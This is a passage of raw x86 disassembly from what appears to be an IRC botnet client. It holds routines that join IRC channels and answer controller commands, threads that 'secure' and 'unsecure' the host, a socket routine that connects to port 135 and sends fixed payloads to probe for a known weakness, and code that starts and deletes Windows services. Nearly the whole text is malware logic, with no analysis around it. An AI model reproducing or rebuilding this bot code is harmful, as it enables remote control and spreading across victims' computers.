--------------------------------------------------------------------------- loc_4122A2: ; CODE XREF: sub_40CD3A+138Cj ; sub_40CD3A+13A1j push [ebp+var_8C] lea eax, [ebp+var_404] push 80h push eax call sub_41588A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_408], eax mov eax, [ebp+var_4] mov [ebp+var_37C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_378], eax jz short loc_4122FC push offset dword_433784 push esi call sub_415730 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_380], eax jmp short loc_412302 ; --------------------------------------------------------------------------- loc_4122FC: ; CODE XREF: sub_40CD3A+55A6j mov [ebp+var_380], ebx loc_412302: ; CODE XREF: sub_40CD3A+55C0j lea eax, [ebp+var_2D8] push offset dword_433754 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 1Fh push eax call sub_414DDA add esp, 14h mov [ebp+var_384], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_408] push ebx push eax push offset sub_414E45 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_384] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_412373 call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_433708 jmp loc_411308 ; --------------------------------------------------------------------------- loc_41236B: ; CODE XREF: sub_40CD3A+563Fj push 32h call dword_421060 ; Sleep loc_412373: ; CODE XREF: sub_40CD3A+561Ej cmp [ebp+var_374], ebx jz short loc_41236B jmp loc_40F547 ; --------------------------------------------------------------------------- loc_412380: ; CODE XREF: sub_40CD3A+1310j ; sub_40CD3A+1325j push offset aId999 ; "id999" lea eax, [ebp+var_2D8] push offset dword_4336DC push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 20h jmp loc_40F547 ; --------------------------------------------------------------------------- loc_4123B7: ; CODE XREF: sub_40CD3A+12E6j ; sub_40CD3A+12FBj push dword_46A9B8 call sub_40A8CF push eax lea eax, [ebp+var_2D8] push offset dword_43369C push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 24h jmp loc_40F547 ; --------------------------------------------------------------------------- loc_4123F5: ; CODE XREF: sub_40CD3A+12BCj ; sub_40CD3A+12D1j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412427 cmp [ebp+var_C], ebx jz short loc_412436 push esi push [ebp+var_C] call sub_4158E0 pop ecx cmp eax, ebx pop ecx jz short loc_412436 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_412B8B add esp, 0Ch jmp short loc_412436 ; --------------------------------------------------------------------------- loc_412427: ; CODE XREF: sub_40CD3A+56C4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_412B8B pop ecx pop ecx loc_412436: ; CODE XREF: sub_40CD3A+56C9j ; sub_40CD3A+56D8j ... push 0FFFFFFFEh pop eax jmp loc_40D192 ; --------------------------------------------------------------------------- loc_41243E: ; CODE XREF: sub_40CD3A+1292j ; sub_40CD3A+12A7j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_412B8B push offset dword_433648 call sub_40B078 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40D192 ; --------------------------------------------------------------------------- loc_412460: ; CODE XREF: sub_40CD3A+1268j ; sub_40CD3A+127Dj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_412B8B push offset dword_433604 call sub_40B078 add esp, 0Ch xor eax, eax jmp loc_40D192 ; --------------------------------------------------------------------------- loc_412481: ; CODE XREF: sub_40CD3A+123Ej ; sub_40CD3A+1253j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407075 loc_412492: ; CODE XREF: sub_40CD3A+3FBAj add esp, 0Ch jmp loc_412818 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_40CD3A+1199j ; sub_40CD3A+11AEj push [ebp+esi+var_90] push 1Eh push offset dword_4335F4 push offset dword_4335E8 jmp short loc_4124C2 ; --------------------------------------------------------------------------- loc_4124AF: ; CODE XREF: sub_40CD3A+116Fj ; sub_40CD3A+1184j push [ebp+esi+var_90] push 1Bh push offset dword_4335DC push offset dword_4335CC loc_4124C2: ; CODE XREF: sub_40CD3A+FEAj ; sub_40CD3A+1013j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_415062 add esp, 20h jmp loc_40D18F ; --------------------------------------------------------------------------- loc_4124DE: ; CODE XREF: sub_40CD3A+FABj ; sub_40CD3A+FC0j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4124FD push edi call sub_41587F test eax, eax pop ecx jz short loc_4124FD push edi call sub_41587F pop ecx jmp short loc_412502 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_40CD3A+57ADj ; sub_40CD3A+57B8j mov eax, dword_42C248 loc_412502: ; CODE XREF: sub_40CD3A+57C1j mov esi, [ebp+esi+var_8C] mov [ebp+var_38C], eax cmp esi, ebx jz short loc_412527 push esi loc_412514: ; CODE XREF: sub_40CD3A+57FCj lea eax, [ebp+var_39C] push 10h push eax call sub_41588A add esp, 0Ch jmp short loc_41253E ; --------------------------------------------------------------------------- loc_412527: ; CODE XREF: sub_40CD3A+57D7j cmp [ebp+var_8FF], bl jz short loc_412538 lea eax, [ebp+var_C0] push eax jmp short loc_412514 ; --------------------------------------------------------------------------- loc_412538: ; CODE XREF: sub_40CD3A+57F3j mov [ebp+var_39C], bl loc_41253E: ; CODE XREF: sub_40CD3A+57EBj mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_380], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_37C], eax lea eax, [ebp+var_41C] push eax mov [ebp+var_420], esi call sub_41588A add esp, 0Ch push [ebp+var_38C] push esi call sub_40A08A pop ecx push eax lea eax, [ebp+var_2D8] push offset unk_427DD0 push eax call sub_415316 push ebx lea eax, [ebp+var_2D8] push 11h push eax call sub_414DDA add esp, 1Ch mov [ebp+var_388], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407F42 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_388] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4125F2 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_433580 jmp loc_412993 ; --------------------------------------------------------------------------- loc_4125EA: ; CODE XREF: sub_40CD3A+58BEj push 32h call dword_421060 ; Sleep loc_4125F2: ; CODE XREF: sub_40CD3A+589Dj cmp [ebp+var_378], ebx jz short loc_4125EA jmp loc_40D18F ; --------------------------------------------------------------------------- loc_4125FF: ; CODE XREF: sub_40CD3A+F57j ; sub_40CD3A+F6Cj ... push edi push offset aSecure ; "secure" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_412627 push edi push offset aSec ; "sec" call sub_415730 pop ecx mov [ebp+var_2E8], ebx test eax, eax pop ecx jnz short loc_412631 loc_412627: ; CODE XREF: sub_40CD3A+58D4j mov [ebp+var_2E8], 1 loc_412631: ; CODE XREF: sub_40CD3A+58EBj push [ebp+var_8C] lea eax, [ebp+var_36C] push 80h push eax call sub_41588A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_2E8], ebx mov [ebp+var_370], eax mov eax, [ebp+var_4] mov [ebp+var_2E4], eax mov eax, [ebp+var_8] mov [ebp+var_2E0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_412678 mov eax, offset aUnsecuring ; "Unsecuring" loc_412678: ; CODE XREF: sub_40CD3A+5937j push eax push offset dword_433530 lea eax, [ebp+var_2D8] push 200h push eax call sub_41588A push ebx lea eax, [ebp+var_2D8] push 19h push eax call sub_414DDA add esp, 1Ch mov [ebp+var_2EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_370] push ebx push eax push offset sub_4144A0 push ebx push ebx call dword_42108C ; CreateThread mov ecx, [ebp+var_2EC] imul ecx, 234h cmp eax, ebx mov dword_4416DC[ecx], eax jnz short loc_4126EF call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_4334E0 jmp loc_4108F0 ; --------------------------------------------------------------------------- loc_4126E7: ; CODE XREF: sub_40CD3A+59BBj push 32h call dword_421060 ; Sleep loc_4126EF: ; CODE XREF: sub_40CD3A+599Aj cmp [ebp+var_2DC], ebx jz short loc_4126E7 jmp loc_40D68B ; --------------------------------------------------------------------------- loc_4126FC: ; CODE XREF: sub_40CD3A+F2Dj ; sub_40CD3A+F42j push offset aEnz999_9b ; "enz 999.9b" push offset dword_4334B8 jmp loc_40F517 ; --------------------------------------------------------------------------- loc_41270B: ; CODE XREF: sub_40CD3A+F03j ; sub_40CD3A+F18j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412767 push esi call sub_41587F cmp eax, ebx pop ecx jl short loc_41275C cmp eax, 2 jge short loc_41275C mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_412751 lea eax, [esi+1] push eax lea eax, [ebp+var_2D8] push offset dword_436698 push eax call sub_415316 mov [esi], bl jmp loc_40EB0A ; --------------------------------------------------------------------------- loc_412751: ; CODE XREF: sub_40CD3A+59F9j push eax push offset dword_433478 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_41275C: ; CODE XREF: sub_40CD3A+59E5j ; sub_40CD3A+59EAj push eax push offset dword_433438 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_412767: ; CODE XREF: sub_40CD3A+59DAj mov edi, [ebp+arg_18] xor esi, esi loc_41276C: ; CODE XREF: sub_40CD3A+5A4Ej push [ebp+var_94] push edi call sub_415730 pop ecx test eax, eax pop ecx jz short loc_41278F inc esi add edi, 80h cmp esi, 2 jl short loc_41276C jmp loc_40F8F6 ; --------------------------------------------------------------------------- loc_41278F: ; CODE XREF: sub_40CD3A+5A42j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset dword_436698 jmp loc_40EAFE ; --------------------------------------------------------------------------- loc_4127A9: ; CODE XREF: sub_40CD3A+ED9j ; sub_40CD3A+EEEj push [ebp+var_90] push offset dword_4365F0 call sub_415730 pop ecx test eax, eax pop ecx jz short loc_412818 call sub_414F9D push ebx call dword_421114 ; ExitProcess loc_4127CB: ; CODE XREF: sub_40CD3A+EAFj ; sub_40CD3A+EC4j push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_43C] push dword_42C268 push eax call sub_414278 lea eax, [ebp+var_43C] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412B8B lea eax, [ebp+var_43C] push eax push offset dword_433400 call sub_40B0EC loc_412815: ; CODE XREF: sub_40CD3A+2A1Fj add esp, 24h loc_412818: ; CODE XREF: sub_40CD3A+61Dj ; sub_40CD3A+629j ... mov eax, [ebp+arg_24] jmp loc_40D192 ; --------------------------------------------------------------------------- loc_412820: ; CODE XREF: sub_40CD3A+ABBj ; sub_40CD3A+AD0j mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40D18F cmp [ebp+var_A4], ebx jnz loc_40D18F push offset dword_42F4B0 push [ebp+var_94] call sub_416B3F mov esi, eax push offset dword_43B198 push ebx inc esi call sub_416B3F push offset asc_4333FC ; "~" push eax call sub_416B3F push [ebp+arg_0] mov edi, eax push offset aHi ; "hi" call sub_415730 add esp, 20h test eax, eax jz short loc_4128C8 lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_412B8B lea eax, [ebp+var_C0] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_412B8B push edi push esi push offset dword_433370 loc_4128B4: ; CODE XREF: sub_40CD3A+5BE7j lea eax, [ebp+var_2D8] push eax call sub_415316 add esp, 30h jmp loc_40D68B ; --------------------------------------------------------------------------- loc_4128C8: ; CODE XREF: sub_40CD3A+5B41j mov [ebp+arg_24], ebx loc_4128CB: ; CODE XREF: sub_40CD3A+5BAEj mov eax, [ebp+arg_24] push edi push off_42C32C[eax] call sub_41512D pop ecx test eax, eax pop ecx jnz short loc_412923 add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_4128CB lea eax, [ebp+var_C0] push edi push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_412B8B lea eax, [ebp+var_C0] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_412B8B push edi push esi push offset dword_433330 jmp short loc_4128B4 ; --------------------------------------------------------------------------- loc_412923: ; CODE XREF: sub_40CD3A+5BA4j mov edi, [ebp+arg_18] xor esi, esi loc_412928: ; CODE XREF: sub_40CD3A+5C0Fj cmp [edi], bl jnz short loc_41293F push [ebp+arg_0] push offset aHi ; "hi" call sub_415730 pop ecx test eax, eax pop ecx jz short loc_412950 loc_41293F: ; CODE XREF: sub_40CD3A+5BF0j inc esi add edi, 80h cmp esi, 2 jl short loc_412928 jmp loc_40D18F ; --------------------------------------------------------------------------- loc_412950: ; CODE XREF: sub_40CD3A+5C03j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_B10] push 7Fh push eax push esi call sub_416BE0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_412987 push ebx push [ebp+var_4] push offset dword_4332FC push [ebp+var_8C] push [ebp+arg_4] call sub_412BD1 add esp, 14h loc_412987: ; CODE XREF: sub_40CD3A+5C31j lea eax, [ebp+var_C0] push eax push offset dword_4332C8 loc_412993: ; CODE XREF: sub_40CD3A+575j ; sub_40CD3A+552Bj ... call sub_40B0EC pop ecx loc_412999: ; CODE XREF: sub_40CD3A+28C5j pop ecx jmp loc_40D18F ; --------------------------------------------------------------------------- loc_41299F: ; CODE XREF: sub_40CD3A+200j ; sub_40CD3A+215j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_412B8B push offset dword_42C2FC push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_412B8B push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412B8B add esp, 2Ch mov dword_46AB30, edi jmp loc_40CFC9 sub_40CD3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129E5 proc near ; CODE XREF: sub_412A1D+125p ; sub_412A1D+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_412A13 loc_4129F6: ; CODE XREF: sub_4129E5+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_417950 add esp, 0Ch test eax, eax jz short loc_412A19 inc esi cmp esi, edi jl short loc_4129F6 loc_412A13: ; CODE XREF: sub_4129E5+Fj xor al, al loc_412A15: ; CODE XREF: sub_4129E5+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_412A19: ; CODE XREF: sub_4129E5+27j mov al, 1 jmp short loc_412A15 sub_4129E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A1D proc near ; CODE XREF: sub_4033B6+88p ; sub_4033B6+174p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_415B90 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_412A5E dec eax jz short loc_412A3C dec eax loc_412A36: ; CODE XREF: sub_412A1D+57j xor eax, eax loc_412A38: ; CODE XREF: sub_412A1D+3Fj ; sub_412A1D+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_412A3C: ; CODE XREF: sub_412A1D+16j push 3 push 1388h push [ebp+arg_0] call dword_43C594 ; inet_addr push eax call sub_40762E add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_412A38 ; --------------------------------------------------------------------------- loc_412A5E: ; CODE XREF: sub_412A1D+13j push 6 push 1 push 2 call dword_43C5D4 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_412A36 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_415390 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_43C554 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_409F7A pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_43C4FC ; connect cmp eax, edi jz loc_412B7A push ebx push 48h push offset dword_436710 push esi call dword_43C5A4 ; send cmp eax, edi jz loc_412B7A mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43C56C ; recv cmp eax, edi jz loc_412B7A cmp [ebp+var_200E], 0Ch jnz short loc_412B7A push ebx push 18h push offset dword_43675C push [ebp+arg_4] call dword_43C5A4 ; send cmp eax, edi jz short loc_412B7A push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_43C56C ; recv mov esi, eax cmp esi, edi jz short loc_412B7A cmp [ebp+var_200E], 2 jnz short loc_412B7A push 10h push offset loc_436778 lea eax, [ebp+var_2010] push esi push eax call sub_4129E5 add esp, 10h test al, al jz short loc_412B5A cmp esi, 12Ch setnl bl inc ebx jmp short loc_412B7A ; --------------------------------------------------------------------------- loc_412B5A: ; CODE XREF: sub_412A1D+12Fj push 10h push offset dword_43678C lea eax, [ebp+var_2010] push esi push eax call sub_4129E5 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_412B7A: ; CODE XREF: sub_412A1D+9Bj ; sub_412A1D+B2j ... push [ebp+arg_4] call dword_43C5EC ; closesocket mov eax, ebx pop ebx jmp loc_412A38 sub_412A1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B8B proc near ; CODE XREF: sub_40CBBE+3Dp ; sub_40CD3A+1BDp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41732F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43C5A4 ; send leave retn sub_412B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BD1 proc near ; CODE XREF: sub_401000+88p ; sub_401444+76p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_412BEC mov edi, offset aPrivmsg ; "PRIVMSG" loc_412BEC: ; CODE XREF: sub_412BD1+14j push edi call sub_415B10 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_415B10 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_41588A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_4367A0 push eax call sub_415316 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43C5A4 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_412C6A push 7D0h call dword_421060 ; Sleep locret_412C6A: ; CODE XREF: sub_412BD1+8Cj leave retn sub_412BD1 endp ; =============== S U B R O U T I N E ======================================= sub_412C6C proc near ; CODE XREF: sub_40CD3A:loc_40EB9Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_412CD1 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4367B8[esi] push edi push eax call sub_412CF3 add esp, 14h test eax, eax jnz short loc_412CB4 push edi push off_4367B4[esi] mov esi, offset dword_46B208 push offset dword_4368EC push esi call sub_415316 add esp, 10h jmp short loc_412CEE ; --------------------------------------------------------------------------- loc_412CB4: ; CODE XREF: sub_412C6C+2Aj push eax call sub_412D95 push eax push edi mov esi, offset dword_46B208 push offset dword_4368B0 push esi call sub_415316 add esp, 14h jmp short loc_412CEE ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412C6C+Cj lea eax, [eax+eax*2] mov esi, offset dword_46B208 push off_4367B0[eax*4] push offset dword_436878 push esi call sub_415316 add esp, 0Ch loc_412CEE: ; CODE XREF: sub_412C6C+46j ; sub_412C6C+63j mov eax, esi pop edi pop esi retn sub_412C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412CF3 proc near ; CODE XREF: sub_412C6C+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_43C548 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_412D1A call dword_421088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_412D8F ; --------------------------------------------------------------------------- loc_412D1A: ; CODE XREF: sub_412CF3+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_43C43C ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_412D3A call dword_421088 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_412D87 ; --------------------------------------------------------------------------- loc_412D3A: ; CODE XREF: sub_412CF3+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_412D6D cmp eax, 3 jz short loc_412D5E jle short loc_412D80 cmp eax, 6 jg short loc_412D80 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_43C4A4 ; ControlService jmp short loc_412D74 ; --------------------------------------------------------------------------- loc_412D5E: ; CODE XREF: sub_412CF3+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_43C444 ; StartServiceA jmp short loc_412D74 ; --------------------------------------------------------------------------- loc_412D6D: ; CODE XREF: sub_412CF3+4Dj push esi call dword_43C4A8 ; DeleteService loc_412D74: ; CODE XREF: sub_412CF3+69j ; sub_412CF3+78j test eax, eax jnz short loc_412D80 call dword_421088 ; RtlGetLastWin32Error mov ebx, eax loc_412D80: ; CODE XREF: sub_412CF3+54j ; sub_412CF3+59j ... push esi call dword_43C458 ; CloseServiceHandle loc_412D87: ; CODE XREF: sub_412CF3+45j push edi call dword_43C458 ; CloseServiceHandle pop esi loc_412D8F: ; CODE XREF: sub_412CF3+25j mov eax, ebx pop edi pop ebx leave retn sub_412CF3 endp ; =============== S U B R O U T I N E ======================================= sub_412D95 proc near ; CODE XREF: sub_412C6C+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_412E4A jz loc_412E43 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_412E0D jz short loc_412E03 mov ecx, eax sub ecx, 3 jz short loc_412DF9 dec ecx dec ecx jz short loc_412DEF dec ecx jz short loc_412DE5 sub ecx, 51h jz short loc_412DDB sub ecx, 24h jnz loc_412EC0 ; default ; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412DDB: ; CODE XREF: sub_412D95+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412DE5: ; CODE XREF: sub_412D95+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412DEF: ; CODE XREF: sub_412D95+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412DF9: ; CODE XREF: sub_412D95+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412E03: ; CODE XREF: sub_412D95+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412E0D: ; CODE XREF: sub_412D95+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_412E3C dec ecx jz short loc_412E35 dec ecx jz short loc_412E2E dec ecx jnz loc_412EC0 ; default ; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_412EB2 ; --------------------------------------------------------------------------- loc_412E2E: ; CODE XREF: sub_412D95+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E35: ; CODE XREF: sub_412D95+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E3C: ; CODE XREF: sub_412D95+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E43: ; CODE XREF: sub_412D95+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E4A: ; CODE XREF: sub_412D95+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_412EC0 ; default ; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16 jz short loc_412EAD lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_412EC0 ; default ; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_412F01[ecx] jmp off_412ED9[ecx*4] ; switch jump loc_412E6E: ; DATA XREF: seg001:off_412ED9o push offset aTheSpecifiedDa ; jumptable 00412E67 case 7 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E75: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheServiceDepe ; jumptable 00412E67 case 17 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E7C: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheServiceDe_0 ; jumptable 00412E67 case 10 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E83: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheServiceHasB ; jumptable 00412E67 case 0 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E8A: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheSpecified_0 ; jumptable 00412E67 case 2 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E91: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheServiceCoul ; jumptable 00412E67 case 11 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E98: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheServiceHa_0 ; jumptable 00412E67 case 14 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412E9F: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheRequested_1 ; jumptable 00412E67 case 3 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412EA6: ; CODE XREF: sub_412D95+D2j ; DATA XREF: seg001:off_412ED9o push offset aTheServiceHasN ; jumptable 00412E67 case 4 jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412EAD: ; CODE XREF: sub_412D95+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_412EB2: ; CODE XREF: sub_412D95+41j ; sub_412D95+4Bj ... push offset dword_46AB38 call sub_415316 pop ecx pop ecx jmp short loc_412ED3 ; --------------------------------------------------------------------------- loc_412EC0: ; CODE XREF: sub_412D95+36j ; sub_412D95+89j ... push eax ; default ; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_46AB38 call sub_415316 add esp, 0Ch loc_412ED3: ; CODE XREF: sub_412D95+129j mov eax, offset dword_46AB38 retn sub_412D95 endp ; --------------------------------------------------------------------------- off_412ED9 dd offset loc_412E83 ; DATA XREF: sub_412D95+D2r dd offset loc_412E8A ; jump table for switch statement dd offset loc_412E9F dd offset loc_412EA6 dd offset loc_412E6E dd offset loc_412E7C dd offset loc_412E91 dd offset loc_412E98 dd offset loc_412E75 dd offset loc_412EC0 byte_412F01 db 0, 9, 1, 2 ; DATA XREF: sub_412D95+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F13 proc near ; CODE XREF: sub_40CD3A+1E8Cp var_38C = byte 